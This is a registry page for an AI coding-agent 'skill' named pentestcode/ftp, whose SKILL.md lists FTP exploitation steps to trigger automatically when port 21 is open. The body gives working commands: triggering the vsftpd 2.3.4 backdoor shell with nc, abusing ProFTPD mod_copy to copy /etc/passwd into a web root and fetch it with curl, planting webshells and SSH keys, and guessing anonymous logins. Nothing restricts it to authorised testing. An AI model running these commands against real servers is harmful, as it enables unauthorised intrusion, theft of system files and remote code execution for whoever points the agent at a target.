s0ld13rr/pentestcode/ftp

Claude Code and agent skill by s0ld13rr/pentestcode

Trust tier 2
  • community
LLM review pending
Source check pending

Checking that the SKILL.md file is still in the repository.

FTP version exploits — vsftpd backdoor, ProFTPD mod_copy, writable upload→shell chain. Use when FTP is open. Triggers - port 21, vsftpd 2.3.4, ProFTPD mod_copy.

Install

npx vskill@latest install s0ld13rr/pentestcode/ftp

SKILL.md

FTP — Version Exploits & Chains

vsftpd 2.3.4 — backdoor

Send :) in username → backdoor shell opens on port 6200. echo -e "USER evil:)\nPASS anything" | nc TARGET 21 then nc TARGET 6200

ProFTPD mod_copy — unauthenticated file copy

ProFTPD <1.3.5b. No login needed:

nc TARGET 21
SITE CPFR /etc/passwd
SITE CPTO /var/www/html/leak.txt

Then curl http://TARGET/leak.txt. Can also copy SSH keys, webshells into web roots.

Writable FTP + web server = shell

If anonymous upload works AND a web server serves the same directory: upload shell via FTP → trigger via HTTP.

Anonymous login variants

Try: anonymous/anonymous@, anonymous/(empty), ftp/ftp. Always ls -la and try cd .. — parent directories sometimes accessible.

Security

  • Security scanPassed, 96 of 100Pattern checks on the skill's files.
  • Model reviewNot runA model review is scheduled for the next rescan.

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

Popularity

Repository stars
849
Repository forks
136
7-day trend score
0

Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/s0ld13rr/pentestcode/ftp/badge)](https://verified-skill.com/skills/s0ld13rr/pentestcode/ftp)

Something wrong with this skill or its page? Tell us.